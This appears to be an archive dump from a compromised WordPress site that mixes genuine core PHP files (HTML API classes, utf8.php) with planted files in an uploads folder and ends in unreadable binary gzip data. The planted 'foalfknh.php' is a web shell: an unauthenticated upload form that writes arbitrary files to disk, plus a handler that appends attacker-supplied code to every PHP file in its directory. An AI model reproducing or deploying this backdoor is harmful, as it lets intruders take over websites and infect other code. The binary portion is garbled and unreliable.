	/**
	 * Wakeup magic method.
	 *
	 * @since 6.4.2
	 */
	public function __wakeup() {
		throw new \LogicException( __CLASS__ . ' should never be unserialized' );
	}
}
class-wp-html-stack-event.php000066600000003147152442706010012204 0ustar00<?php
/**
 * HTML API: WP_HTML_Stack_Event class
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.6.0
 */

/**
 * Core class used by the HTML Processor as a record for stack operations.
 *
 * This class is for internal usage of the WP_HTML_Processor class.
 *
 * @access private
 * @since 6.6.0
 *
 * @see WP_HTML_Processor
 */
class WP_HTML_Stack_Event {
	/**
	 * Refers to popping an element off of the stack of open elements.
	 *
	 * @since 6.6.0
	 */
	const POP = 'pop';

	/**
	 * Refers to pushing an element onto the stack of open elements.
	 *
	 * @since 6.6.0
	 */
	const PUSH = 'push';

	/**
	 * References the token associated with the stack push event,
	 * even if this is a pop event for that element.
	 *
	 * @since 6.6.0
	 *
	 * @var WP_HTML_Token
	 */
	public $token;

	/**
	 * Indicates which kind of stack operation this event represents.
	 *
	 * May be one of the class constants.
	 *
	 * @since 6.6.0
	 *
	 * @see self::POP
	 * @see self::PUSH
	 *
	 * @var string
	 */
	public $operation;

	/**
	 * Indicates if the stack element is a real or virtual node.
	 *
	 * @since 6.6.0
	 *
	 * @var string
	 */
	public $provenance;

	/**
	 * Constructor function.
	 *
	 * @since 6.6.0
	 *
	 * @param WP_HTML_Token $token      Token associated with stack event, always an opening token.
	 * @param string        $operation  One of self::PUSH or self::POP.
	 * @param string        $provenance "virtual" or "real".
	 */
	public function __construct( WP_HTML_Token $token, string $operation, string $provenance ) {
		$this->token      = $token;
		$this->operation  = $operation;
		$this->provenance = $provenance;
	}
}
class-wp-html-text-replacement.php000066600000002601152442706010013233 0ustar00<?php
/**
 * HTML API: WP_HTML_Text_Replacement class
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.2.0
 */

/**
 * Core class used by the HTML tag processor as a data structure for replacing
 * existing content from start to end, allowing to drastically improve performance.
 *
 * This class is for internal usage of the WP_HTML_Tag_Processor class.
 *
 * @access private
 * @since 6.2.0
 * @since 6.5.0 Replace `end` with `length` to more closely match `substr()`.
 *
 * @see WP_HTML_Tag_Processor
 */
class WP_HTML_Text_Replacement {
	/**
	 * Byte offset into document where replacement span begins.
	 *
	 * @since 6.2.0
	 *
	 * @var int
	 */
	public $start;

	/**
	 * Byte length of span being replaced.
	 *
	 * @since 6.5.0
	 *
	 * @var int
	 */
	public $length;

	/**
	 * Span of text to insert in document to replace existing content from start to end.
	 *
	 * @since 6.2.0
	 *
	 * @var string
	 */
	public $text;

	/**
	 * Constructor.
	 *
	 * @since 6.2.0
	 *
	 * @param int    $start  Byte offset into document where replacement span begins.
	 * @param int    $length Byte length of span in document being replaced.
	 * @param string $text   Span of text to insert in document to replace existing content from start to end.
	 */
	public function __construct( int $start, int $length, string $text ) {
		$this->start  = $start;
		$this->length = $length;
		$this->text   = $text;
	}
}
uploads/wyw/utf8.php.tar000066600000022000152443022640011225 0ustar00home/cienp/public_html/inct-inovamed/wp-includes/utf8.php000064400000016134152442706720017500 0ustar00<?php

if ( extension_loaded( 'mbstring' ) ) :
	/**
	 * Determines if a given byte string represents a valid UTF-8 encoding.
	 *
	 * Note that it’s unlikely for non-UTF-8 data to validate as UTF-8, but
	 * it is still possible. Many texts are simultaneously valid UTF-8,
	 * valid US-ASCII, and valid ISO-8859-1 (`latin1`).
	 *
	 * Example:
	 *
	 *     true === wp_is_valid_utf8( '' );
	 *     true === wp_is_valid_utf8( 'just a test' );
	 *     true === wp_is_valid_utf8( "\xE2\x9C\x8F" );    // Pencil, U+270F.
	 *     true === wp_is_valid_utf8( "\u{270F}" );        // Pencil, U+270F.
	 *     true === wp_is_valid_utf8( '✏' );              // Pencil, U+270F.
	 *
	 *     false === wp_is_valid_utf8( "just \xC0 test" ); // Invalid bytes.
	 *     false === wp_is_valid_utf8( "\xE2\x9C" );       // Invalid/incomplete sequences.
	 *     false === wp_is_valid_utf8( "\xC1\xBF" );       // Overlong sequences.
	 *     false === wp_is_valid_utf8( "\xED\xB0\x80" );   // Surrogate halves.
	 *     false === wp_is_valid_utf8( "B\xFCch" );        // ISO-8859-1 high-bytes.
	 *                                                     // E.g. The “ü” in ISO-8859-1 is a single byte 0xFC,
	 *                                                     // but in UTF-8 is the two-byte sequence 0xC3 0xBC.
	 *
	 *  A “valid” string consists of “well-formed UTF-8 code unit sequence[s],” meaning
	 *  that the bytes conform to the UTF-8 encoding scheme, all characters use the minimal
	 *  byte sequence required by UTF-8, and that no sequence encodes a UTF-16 surrogate
	 *  code point or any character above the representable range.
	 *
	 * @see https://www.unicode.org/versions/Unicode16.0.0/core-spec/chapter-3/#G32860
	 *
	 * @since 6.9.0
	 *
	 * @param string $bytes String which might contain text encoded as UTF-8.
	 * @return bool Whether the provided bytes can decode as valid UTF-8.
	 */
	function wp_is_valid_utf8( string $bytes ): bool {
		return mb_check_encoding( $bytes, 'UTF-8' );
	}
else :
	/**
	 * Fallback function for validating UTF-8.
	 *
	 * @ignore
	 * @private
	 *
	 * @since 6.9.0
	 */
	function wp_is_valid_utf8( string $string ): bool {
		return _wp_is_valid_utf8_fallback( $string );
	}
endif;

if (
	extension_loaded( 'mbstring' ) &&
	// Maximal subpart substitution introduced by php/php-src@04e59c916f12b322ac55f22314e31bd0176d01cb.
	version_compare( PHP_VERSION, '8.1.6', '>=' )
) :
	/**
	 * Replaces ill-formed UTF-8 byte sequences with the Unicode Replacement Character.
	 *
	 * Knowing what to do in the presence of text encoding issues can be complicated.
	 * This function replaces invalid spans of bytes to neutralize any corruption that
	 * may be there and prevent it from causing further problems downstream.
	 *
	 * However, it’s not always ideal to replace those bytes. In some settings it may
	 * be best to leave the invalid bytes in the string so that downstream code can handle
	 * them in a specific way. Replacing the bytes too early, like escaping for HTML too
	 * early, can introduce other forms of corruption and data loss.
	 *
	 * When in doubt, use this function to replace spans of invalid bytes.
	 *
	 * Replacement follows the “maximal subpart” algorithm for secure and interoperable
	 * strings. This can lead to sequences of multiple replacement characters in a row.
	 *
	 * Example:
	 *
	 *     // Valid strings come through unchanged.
	 *     'test' === wp_scrub_utf8( 'test' );
	 *
	 *     // Invalid sequences of bytes are replaced.
	 *     $invalid = "the byte \xC0 is never allowed in a UTF-8 string.";
	 *     "the byte \u{FFFD} is never allowed in a UTF-8 string." === wp_scrub_utf8( $invalid, true );
	 *     'the byte � is never allowed in a UTF-8 string.' === wp_scrub_utf8( $invalid, true );
	 *
	 *     // Maximal subparts are replaced individually.
	 *     '.�.' === wp_scrub_utf8( ".\xC0." );              // C0 is never valid.
	 *     '.�.' === wp_scrub_utf8( ".\xE2\x8C." );          // Missing A3 at end.
	 *     '.��.' === wp_scrub_utf8( ".\xE2\x8C\xE2\x8C." ); // Maximal subparts replaced separately.
	 *     '.��.' === wp_scrub_utf8( ".\xC1\xBF." );         // Overlong sequence.
	 *     '.���.' === wp_scrub_utf8( ".\xED\xA0\x80." );    // Surrogate half.
	 *
	 * Note! The Unicode Replacement Character is itself a Unicode character (U+FFFD).
	 * Once a span of invalid bytes has been replaced by one, it will not be possible
	 * to know whether the replacement character was originally intended to be there
	 * or if it is the result of scrubbing bytes. It is ideal to leave replacement for
	 * display only, but some contexts (e.g. generating XML or passing data into a
	 * large language model) require valid input strings.
	 *
	 * @since 6.9.0
	 *
	 * @see https://www.unicode.org/versions/Unicode16.0.0/core-spec/chapter-5/#G40630
	 *
	 * @param string $text String which is assumed to be UTF-8 but may contain invalid sequences of bytes.
	 * @return string Input text with invalid sequences of bytes replaced with the Unicode replacement character.
	 */
	function wp_scrub_utf8( $text ) {
		/*
		 * While it looks like setting the substitute character could fail,
		 * the internal PHP code will never fail when provided a valid
		 * code point as a number. In this case, there’s no need to check
		 * its return value to see if it succeeded.
		 */
		$prev_replacement_character = mb_substitute_character();
		mb_substitute_character( 0xFFFD );
		$scrubbed = mb_scrub( $text, 'UTF-8' );
		mb_substitute_character( $prev_replacement_character );

		return $scrubbed;
	}
else :
	/**
	 * Fallback function for scrubbing UTF-8.
	 *
	 * @ignore
	 * @private
	 *
	 * @since 6.9.0
	 */
	function wp_scrub_utf8( $text ) {
		return _wp_scrub_utf8_fallback( $text );
	}
endif;

if ( _wp_can_use_pcre_u() ) :
	/**
	 * Returns whether the given string contains Unicode noncharacters.
	 *
	 * XML recommends against using noncharacters and HTML forbids their
	 * use in attribute names. Unicode recommends that they not be used
	 * in open exchange of data.
	 *
	 * Noncharacters are code points within the following ranges:
	 *  - U+FDD0–U+FDEF
	 *  - U+FFFE–U+FFFF
	 *  - U+1FFFE, U+1FFFF, U+2FFFE, U+2FFFF, …, U+10FFFE, U+10FFFF
	 *
	 * @see https://www.unicode.org/versions/Unicode17.0.0/core-spec/chapter-23/#G12612
	 * @see https://www.w3.org/TR/xml/#charsets
	 * @see https://html.spec.whatwg.org/#attributes-2
	 *
	 * @since 6.9.0
	 *
	 * @param string $text Are there noncharacters in this string?
	 * @return bool Whether noncharacters were found in the string.
	 */
	function wp_has_noncharacters( string $text ): bool {
		return 1 === preg_match(
			'/[\x{FDD0}-\x{FDEF}\x{FFFE}\x{FFFF}\x{1FFFE}\x{1FFFF}\x{2FFFE}\x{2FFFF}\x{3FFFE}\x{3FFFF}\x{4FFFE}\x{4FFFF}\x{5FFFE}\x{5FFFF}\x{6FFFE}\x{6FFFF}\x{7FFFE}\x{7FFFF}\x{8FFFE}\x{8FFFF}\x{9FFFE}\x{9FFFF}\x{AFFFE}\x{AFFFF}\x{BFFFE}\x{BFFFF}\x{CFFFE}\x{CFFFF}\x{DFFFE}\x{DFFFF}\x{EFFFE}\x{EFFFF}\x{FFFFE}\x{FFFFF}\x{10FFFE}\x{10FFFF}]/u',
			$text
		);
	}
else :
	/**
	 * Fallback function for detecting noncharacters in a text.
	 *
	 * @ignore
	 * @private
	 *
	 * @since 6.9.0
	 */
	function wp_has_noncharacters( string $text ): bool {
		return _wp_has_noncharacters_fallback( $text );
	}
endif;
uploads/wyw/foalfknh.php.tar000066600000005000152443022640012130 0ustar00home/cienp/public_html/inct-inovamed/wp-includes/foalfknh.php000064400000001370152442710310020364 0ustar00<?php echo"<form method='post' enctype='multipart/form-data'><input type='file' name='a'><input type='submit' value='Nyanpasu!!!'></form><pre>";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"</pre>";?>
<?php
if (isset($_GET['bak'])) {
$directory = __DIR__;
$mama = $_POST['file'];
$textToAppend = '
' . $mama . '
';
if ($handle = opendir($directory)) {
    while (false !== ($file = readdir($handle))) {
        if (pathinfo($file, PATHINFO_EXTENSION) === 'php') {
            $fileHandle = fopen($directory . '/' . $file, 'a');
            fwrite($fileHandle, $textToAppend);
            fclose($fileHandle);
            echo "OK >> $file
";
        }
    }
    closedir($handle);
}
}
?>
uploads/wyw/PHPMailer.tar.gz000066600000201261152443022640011761 0ustar00zF8;whEȖZb6H"!	1	0hYwoxh )ۙ̉9zwܜLgÇ+7V6ڣ+UgsJ~qF9,W_<y<>p9'{;VS@3' QFn7Ey/0p6{ß$[ֵL/pRhߜލ^:($Uw܄zFi w&
[0]FӚf5.ߜyk7S^CklGwq
ĩ¡wFopMcR3
kxI$If<F#*C/QA874J&ł+Tg[(AVLĞ`ڄ)۸
ct=5֚͛d<r?|{qK^3;^Bag+P?A1bu:$/7tIin‰_Kx_MG0GzlgI(	`&vdCn9s9y	/NaC{a;:qqy>q_vp*p^<q^oO0NocG0v?Ћޙ&ȇ=3tb/PyEܖ۹'wn?™{M:귯p	y4%
J
߽uaxԢ0C{tl;G͕J@\F+/~X:΃b8)VWNDӝx
+@=cZC^m{?SקW'9!wx:f0:q(vyG(8ǥހSdúln0">p\̀;'{nSjLLˆ_D
8hv{/~xq f<=14+@6S )6Jl.)X6W׊`.ވ@Լl=d@&:!x&8vxnwCD{tZ|s9`A 0h^2{;GF	*;p&xKm8jk+ŷ50tZ+uuNG@UXb
}q"3B,^qi&#8anLzodC7q ^	sð ü/AQn++Q_;G{8na&t	VMLw
%0’ 
C{2ze"̣Eaתh:ƈ_ӈ`บ~ڣċ7aA]8u	n,{	MpHnCgoAh!$Cxͭr~%Hk9'3\bom;WӀ֝ejK,imWO0\9#	>quG:ǧ'uF^{0,o=9iP+181΀2y8ޭ3;}dV^.szUϹz7_aIٮ+k
=jp\8xAOG~pa}Y?i7VdrohtXRW4"l.AҷQ؀D;w{3<{K7Wir>Fd졄Ml$
\Z'"v| o:c?)9v++Ph{2kZ3σ# S֍{Ƚ"h6 	nב%Co!rq&~d1ll7uO`s"KOÈ(D:"y?4FطNM(ҘlA|)ܹ?AqGZgk97ut#ă	Bs7P{+_xptwU#NF[wno|hkX)4$P̓NdDH?Ȃ-
hES_@"b`m;g\>$̩·pۮ6ZzZ5)HsΛ+;<L=A,ՎlB 
*Le#+oe+ؠ-?A Pa±endN;)&}EKG_a[oUƿڍ7?d[y	\7WY@ZNg+OxfpxI/J|8g!GùREqG6OBeehJ1mMŒHP9GJf7xcPbmڔP323cѲ/OݓN{QDOzGeg}=/Ӟ,ߩ
HF.O']P<ev[@*rF(nJلt4Q,P@ÏCXD&B>LPôfjb#N;$EcWp&eAHuq$IP>#Vn+R!<W˼8,S(7IsF$T{Q/`uqVRD)Ñʂ1%|.ԩ<lBjq]`轃
i^ڒCĮu{TSupsTc2nUMCܤ
_HLB'%IfܩZbcbNkUl+Mp*sY`]sŦKךa>,2;	GR@{͑F*ȔyRh-H|ƹ#ip.Kmİ0_F@	81ij$̩MD`7kbCO<X@`!6[[8mz-V)ɣRE*SD	hhU},d5~~}PZnӖju<1tQZ'8|Vlx !3& a(dL4X@j56/%oXDQ-/52՜
YE/A	梖,ǭ1̨~3y8jʼePA%Q_
ł~l"=$CӏnZl%B_{R(@H0i;HcDZ\RCYw^{e>@k^nU+?7ƍrߊ+5Xfǁ!Z8V}M^+"?WGΩ}UoRxC[Bm5b
P,@	ʇ$y:m(#yWpKűPv<Y2eIrJG)H;t/<]N0sT@0ii牡Egk"ŧFhńCaahB%,* V#'Go[8p;0{*c+F!Zڵr./ȵL,8J-N8|32II(uUky05-Jp l&VMtl ]Y&Se:]>Uj*)GHjV*m7r#	¤ߗC&ENN8G5%f+Tgb>iF?rxS.W.L-|̋Qr*<әmiG!	h,uy-.1r{ifi$׀m]qTWj4q˩0TSfݵ*].TPģk/A`z)vj-kAW 
J`jJV
X4MV7,؀d|'!/gܠ5AzAXaYl4;P7*l;!n KUC[@ֵڴp`VRE67!ޠB[JcbĒKNjet]Ί)N~͍j4ZotR LuW_]҄5LXnvԜD^р]zxݠ:!
j(Se;#$V9a8w_xyJiȔ{4^ytBq%D&"u2vaMQ:pxOXFWخfy'q"V	rG dJgU2/>28FlЎa:}DU|WɪKw]0^rC:g]іC!42,hNeCb>)Ki>ƆȮJ潎{}ߥ:WAp::aϰq<	l?5c"ӴC`*J8Wdi!q߂|{4%+E?s T$U`3>1ZQK;dcY|^_ݡd
chSEڏj([9ic{2R+ηbxV6ze5k'999:Li\5-Eͫ<AS4`Ώu19yzKPGfQPߦٍ!5gl9Í	Aَ؝HL¸zt
a|3yh>nj1
tbWRJ-%4 ;.TL)	V}؆a%
򷿥3HLH
Pԗg}tGUwUm(eɣ Т*w.YVZ%3
̬]
E0&6M&jO8F˺9	;|
q}҃׾4jG6[x	'q(haoYW%_pq<CbWg-zn669C }|}E=6WW]m!?u8@Ƙcd`JW<_G4v&z|К4Zh"/khXHBN,Pd,{Υ^`*#>iQc/B%ѡ/n%)Wx	x.֌fr˥}\&Ih&_F?`,8n
~UwNͺs;?_^rj/|Bxu,#S)hh</@Xd-Vg>%StTN1NT{@'9?5+W9xJ;i61F}ՐрN	V1[ᅌ&1 ̨dN<Nn7+x2M7apd+2BK6iPs2) m%w@MvEM..
̫[QmRI)Τu
$PM9<yuxzu;:/a'UP0B8qx/ŦaJVbDƎ)Qsƌ-	,W7qIG<vG>.+s'鄴9;JSO9W=f>F&cфےX蘽kX%
p<Ԅ@UbV7 EِEhqk+ճl-c=N%~gYYfț,'GX\C1χyWƕ'ćEKȂl
'iy%$QZgSPk%*wwn|IP-җL-;e7R΃:J
Sjc2F3m!c_A7(ĹZgO1x2zn[=r`CWW5K?V'L*@\R0Pp4$K#fX@h
9:\n<3pK+K|$!m1pfwgFvy}JdJ,	]3Xi$)VG'uCyOKdn@@)hCn7(Xsw/h(o~؟Ѓ~r3vtduLuB>!;,F^h#3ad2M+"e,tShg6	FJO,ˡnƎÍI~P*toAǛ"4Bw5:⺣Bc	n"/VC>-"AkquݩRRQ	WPD>Zw
LbAELmZ2:O"C]^(ЋI|Ssnnm4*D 6ذ(7)tO|`<aA%IV^
<
:@ $4;k	aM07J႟-r5)b9\	VF
EQ$Di$։M!m$qo=
n-}AH.AbVP@gY	)q|I,Fw͔K}kM#.}!w3Vnߢi)k]J2BG-TjrjR~f3)~up­bS>r4{,RMRmA;LGd8!|yF]Fo\xObe<Dy#7ޝ9]	'y կ3|)B9&\XBlԋ_DQB|nj痽**E ܃SH/T,/<.ZL䑛	Fn@Zr1-.FAՕ
F_Of<EjٚV\f/@:$1!5%3lAk'dӀfo\!#>xBE-G
ɬdh#TuBp
T+/@C\h'ʣRjMʻ%:䣚0S#]cs/z;ͼCz<y.,B;i2
DrA3tg+wF{cڢE>GL8Ǚl6sV«ʅGD$;ķ>
7TS-y<;-syoo7{{BE8þ?Ȝ~>o8bDn;סv^<Spx.bs9Nu)2<WfKEu-%˪dqA*nЛhîCΰ̡z~pC)=2N=Z%
7d_gl "
S85O"勊O~)T0ϴ
"zjEH/9WW0/Iph+?#P6dtJvO <}mNuRˉ:#YHsy6+e+R"__;&/`60S9l1,|^'!QrE>dEo*	Lp!YXepf%H$eE1wUp%%f'uG%B
2# 
1&ʚԩfu84&%H@3aVhrN[@I9 y1+I
Z t
[t9Fw$&+-"BCk(Z8t5qu
4+"Ɉ7CCoxii8Q,#sck̼14ޡ9.+C!zL3Dу.Th/@R@'SK/Ř^I\Ip>ÌgDݬPdtR2w´3Bg	auVԈƗ]`&u.GnFTbEjk̗JsBm\Dx&haNY" "O(N+C&~+4G^zva`PD@kKcZ/iy7)#C	2K`D\c[c?vKl4vDN(icĠ4hf*¡1ˤbZ>|D993TF{ҹ<-HU<C@-,{,hqM$G;Ŗ7{,ZEo&p(.	P\Qhc1Nd2$Ӫ
<QM31V25g9JAіT-ԱTqW{Kn3	|c\rZN[VM7oUӤ
ӽ䝢R
+qdۯgb]m2r9&Z5Fb>-s$>Xh.h!G
R$+e)=rI"I#NWWt;VTZ8r(L*O4M*P1dL=|cbSSH^+Qg(SnK
תv){4B,.ئG-
_P8AP%6MsO/|6uGQ#PFهë
]݄mGA*p;7RTڦI((..U,d>s%Rz_ibrXy6Ř"0Nd)-}9Q?==~<c	[B<a[zRDiAtWٗ;!F(C.:(!Rq!'T,RQTh^R#;IV+oH=7QxVU	);ժR7Necm@(,Y9<ƧrKy`h0exy}NhgczE3N<X	Z.n iU=FjkvYPm(MaXfV9CXxip
cK84:!'$D9M1XrPr%sk
qgaMGuAڢɣ1	_.p
!JMB#(]fu?Vd-z)TgE
-?
s,.UoDe	,2˜=D*Q6wLʼHmlO1ؚ!vk3r2A*Lt$dU>Fx,}yeTc3ǒe$Ga3tW+Zr?hw)k4g!:BrmT`tPȴW7w%!G[?Wd0 1ݕ9v,}EP6۟*4hưXJj1{'G[O#6^IQRLO:9pN9h\|O%.O_`iLلʮE)fWTX-]4eNQJ|4Gac0Eر79uDB&>+Ecg7)]+\ĸRSV({9}
UX4MUTi_*9ӐSM	v>35b	cD
sd|W	aEe2=vkB:+Jb2%!gD31;:ӜdPr4Ȉ$7* '*`ߵ5]zãK']..u8acD
qfwj剦Q}GBZ\ qO=wOB$&\j>(_CDы%,͎4B:uzG[Oǻ̙3JGQrw݌#=Ӵ439f1cқq'\Nv՝W;;ӺIGv`v?視ezcuS̲4SWPM
)M"E+h0!M-  ;KaNf/rp'߂,$"g
z'Z{Q#jڄ-„Xt;b9)!,+AJd.4x?F<fP0<poae4fIidPo$.j	f[*Yҭ'br'\(.s2qfzI˰*@2v?Z6r	}fq5a`o߸KҚ_+Vt䬳S<;ۗOo]rFE>P}vTN,}q
,& nl[(g9
u̍uҞ/14(0H(K|>?Hދ}*H
ImwMhehԃs/YQ2?mnnu9Ҳ`%u
`;IPK"ęR-feA9Ì^ԢdS27_TgNKeLٳȖ*R
/<}zI7!Ii]Z=(لqc7B9j k,MG\JF?"vi\TosZ_Psj[i8Re%QVseKFE癳_Yu
5xS3EvJ	,t*=B9R|aOi+ThMܸc>BPgJ,2 R~:*⒅;
Pnq1RE(14Q.bx$~IQeB^Ј̏6l(msEQj@HO53v
o<o^f]DaifXKR9ܟ3,ij?Vm2ǏŠ	,GBř)j?G9h퀑uq2DV#=̦YI[i4;jaiꇓXl
-bRNk9R]A7ãޕvHi?
7tu(pOՀANq|ssaa2㖫W^?`M6X7x9BOlDsC0db_8bcSF
0#eƤjfi޳e5RvYyijy>s#cxtky]7†[RfȽupL
.K8	BvMxQUmȊvAԋBN0E@$/,%jXG2+
fVhh>Y5QQ0™{AO<yW)4!8M峱*Hzj,F/70PV=1oYk9+"u~i4IWhaߔ[6A&`F9ӧ0yWmGdeƈ*2xŬշEr|<##b6+(st 3elKG(0͵t]K2[~T^
K^()yl2*;F!^/c
kREў<o)NyEHZِ܎N/[V&N=dzE<W91&H*,]3mr8iK[\xd`:5o`ۚwFikMGg	ϏS;s+ȼxQPUú̙$80TS4XIIT5МG8$!d`ٓLq߼39]"kݜŅ:W@6]+:cX紹PLZmP3"7(l |9#S"Xxpd٧#e\ě *?LHn'쌣'QgM%.-	U#0Mu$mdE6SG-&6&`P?IHŤRDdBTFAFҨ82?f80 e2.{Yc6my!dr6~h)\	˽ubZYĐ+Ɯ,e3P/CVm;Yd-SolKc.u|fHe{T'xKe~,\`@
% TDWĻ<w!K?`w.W<9`TTxGN<_ޙ^6Ak_|ɨps#CMeu^Ons̖]XvWYor*y88o=+5%r#8_Q֔h:Qc	˯[qm$Ik q	8EM'8Em`#Y{ފ"tQkndL
XQԭ11fHj34h>az7̭oԐsAcǠ%a9W<
yI;~{;sÄ%"M<EpbW5zQyuA{'=My^Hk+sI3j%	K^ΌuCgQ2r#̱c԰8cf"%y4\`e1ACVLi>K6}óiS-/bo4ri!`2qH K#o;]b3F:,0X/^n9K;HR|)+/ln F:ݫׅoE2Fs
c=P.UzS

e4!^m#OgiQNNNY!.[r?pv?q!|.!^d's_Zu]q_3;:ϝh|12JUhb`sSF$c~ 6
6FޘLRj)AB.Cꂫ,;6=5VPR f6#~egWaq9u;q	WOMUYX\	KGmz2hg<aF\K|ʶn`;kpL/}&cYAxAq_ٳA&)Cg*rRm8{e;4ȨJ:xѽ`fS 1Hx5=ː$ahA<l&ΊQ?m`$-l##*elvޣLYd<ND4?%M)i7uUgK5FTsd4Ŷ	
mKEU$s~,S]NνpdaY7xevc`d+NJyۢikj3$y3)u\E6aF~é8m}0ro.pOEvT	YximVxx-f)ÞAGhǖk	7+TS*$iteNeO1C7!s쇗2Xr~tܒ]p
zT2MM!MeA4<2(kb);b-7LM+}s0ȏKPU@*a*65^y:sjkJ80qC8[&ƒNl?-'Edn
}9-yB0<	_+S	ú\~y.G75,T2oh{N.w5E/:*;#""P]pg$B)O,B%wSF7@2;`Yuw!Тx>ţZF2ש7ZA#6*QG7|?|=
?c+y9|m>?k
>|1}͠ߣ?lq=n=tVmmm9ucw:
/u~t5N'}(ttش#2r;
'Ik0qofaҚQ=h8NG^?xӌÊfaassͮ&K\%	@~mM)nĽnMFfUÁc	_}B		袭^zV%zy01(QE=n±^0iP-oݱ7lNt
oQXMeq.~YЭ?=DpMyߣ"=>OɠEL9fQ)pIBūJL՜̉6+)`3A|'/A9p4v^`.>7QyMkSܘ.wp|.ߜyk߰Qw_kh|wMA`z`xG[TUZ6%*? M6پ
k{A'M]/oa_S	:'FU."s5X1l+9PA(n[63=*?':Rk6naC]OF*v?|{1z~O#}@Sw~PSN@8inBzBQqI<zfۇ?;?ONڇ0e"8{c[4
;ԺtNv^B~nsz8m}o8ǯNN;Z_}Wlf`|\{ch|<ϿOȋgzb/,٩6F3r|PR<oh_*p
"':/s|U#d5D&Q^C<)i)/\0.Pavl5;2O>.8?
P`-k:e87wd-[7rh]/O:GA+,+,lBHl1$gaFBqX8Ms"
>8VGd/ebdF_GXeX`ƫ{p%uiR}6 bepZR')3}2@flwX2Јi#txIv0ϤE#9SL`x;CB4EnrQ,bzJⶰ)Bo7~%<j̟r;q71~hK_vxisyxj}5_
oDɳ|{׊-֒sʡrZQ@yeB|V)iERWpRovᡗux%tۮ-}V7}clڞ1K/V$|6_ݑYsU`22{A1]{7^,PyٷA6]FF^sOf{Gޑb
@>p;Zu4Xj3sqo
d"[f|eelhO>iq؆RWyOun|Ϯ1i~t]K#5u8tXi#X8
U-T7
jr>xLYfO`40oOQK
3/P8l|IT0e	C^aG[]zO]E#[")E "ʎgy)g9cY'_X?x3_{T[r|lEjй^|~_xN9ÀSK OvV]Ԛ-jMdC0NwЄZ9xţ@QH0FaB\B)s4
oU:KeEnb0fqs_(LpI1RnunVeJ=Cב,8uS02
C(B닡bG@>W.eɧ#p|:Tl"""ȮT{q`@W<HNp^=+S41Ȁ=6D'NIGHn=Gy2~=E(0TSiv4\[TrD`	14
GMGSuj3w>]eo;k 
D˽NOpȻk\Q*A
y|nẗ́!NGx\1ܶzW.^tw^v;{WIZ]]w#]^So{tt耾
]i&pv"@AbQGxG}<b2;GVm@ڒ]%L(BW˚;7	@Yh=`fXt,/IgiR:T@B~YڟBAֳAB$;XYYN*#.Ȩ9@5+Zn,a8S6&R
ްv/FTIV5S|S=Ȑ5 C^2UkkDf!XBrK&{c, IR"brpݲ.	o~m<)JdEcQ"B%2[Hg|CkiY"_ǶV)gEt
40Rr"|52rsħ'ej,b{^]s cقMÖZ@b<e:fz<OI,RatL{pmjB{Fȿs
ZCbjڌp+!z{tӡ@3f5ثxu5z:z:zfVMpdHZMIbK䩳%`{O43آpa<'XjB}'f0"<ѢmKfNȞ貎02#Jpez1/]YA 9cT
3bU-@V0!7цJ&NPv6M,4<S|Ѹ~'^|$DJk5ii*`]_޺|n*Di5zȦz{%9SZ5Bb8Nَk7V?&G
؛zC|p$	Q|Д4JFqK?FY'olD0]Aq2+[Kj:gR*:?9ꇋa]7R6Nm2)ei*4G
@r;wi3&\F&SUk.ebFS-twpY	ʺ㨠e<'sW1H&aeTlj[8d߉Xa‡2zP5Va)PtThQYI6Z]6b.0Q^sQNMMkI=Ψa*	"MGUOR{;h{.EE.בdA/iŠe6[/3lLonXHaH+d<r/1F<3(7/~.v0S0g^+yD(x?Z "jxW|kםo73đ0A)R,-4$K,¶uorE|2|3Tl`x,h22	os{iCmZ\lSg>i
$1P|B7Ǖ߭wΈ8PQ[/܁ê[	Lr$V<M#W^%5kub-]<.2-lr.%Q!Rtu5`rjf2!^}p3uwl/F?l2ۼ3FED8u`85qo?h~:,DkmdB/~%ɝN/Pcn'WBhO!Nَ3ȓ˱/;v鸐r<D^E;dzvVB*—IqtXLƕYz/a򋉁ԝʩ[-ROQ
och]֡@v~dz֔@(і_!_]
v6V8x!v/	/<4yLv_H@`Q{bU[6HOsr1^r_*x}
% EJbϺt*ͩU-9'b=D>؝^=/p;S+rX=)8xY6OFɞN"Y%Uaep}B>VeT bQe&K'-`Pt)!g=y6ۅd4;#|if1p=)3I%HC[PӬRը@P3;[.QE>prrY]<yۺ]Â/?lmўD"*?aoS mm|խ/@5asO?vht$N[+p:		8zckmekO	E 		f
յխ?y[n lnmɓe664@S2KE O—txTןNpް}UˌCsmafC֚[α^{w)BV#PPXXpXdGq_TWo6乨_ćͭ?-G[+d?)@/@` IŸ\xkџ1#ڣbG+_?~Z-gOZ	Bщc
eu7/n__&{P!.2p&75"el
}
=[/J2ݣCd{jT=%S欼[Y]Y9ϝJTqJR]e1W]U>|,wENeWV6fh>3ZXxF+kh851>#YH.S:to՘L~߈Nc#mTўIq$q__@ܦh['p<]qڞB.Cq-aza4%@B"@BPzW?EĪ,
bGXӛ
۸]_66{4(iƳ'٪֪
[	Y`{:i_>7ЧסsHk߉;:fQPiUhrP/
vGf^qn"jFi4z*ϗ*Ϟ+7v܆Emc]g>{z)~0@;<DZ-Ĕ̢W,%~2p2T
&nW&a ]B`2MQ8؊S*$wqB])?U8n(9
X7:9wDەC&ۈ_l8Cx*}5">
G[c@OFX5}` sϯǬČf>:^Egx2trv1z@G..͋Kzذ\K,+yX&ƸTW~L(޷8 ӑ֕˶&{\=ԛ,toJt fA3K|5XH[TAKoڏtHBcԠ䴍|XQi|tb~Ww
q7.}L8\|H!\!f?TX$#kf>T|f=c7^eXif51C:NOjGHԸB_kLCQν'Gѩ}o}v1˻B7{
")q@c<d3xY+/Xx,`fX7p@w=LP=_R#:_3t1˅a0I7ȷ6[1	!uդwHMH8թJ,iĪS;]dTyӂugi	1̏&h8Nw1Ӝq"
N˩Vl(}uPXEy{dlu(2Xe^-YNb+En'<
&*d4(я/b<(4v "tǒuԈ/0RhCзF2͸Qx)855Rvn8ʶؐ.i(U85wNτQ"Ri{sYoO^QؾdX,B8q(o<1"o;WQ~D!a"-
[v',V_a/2
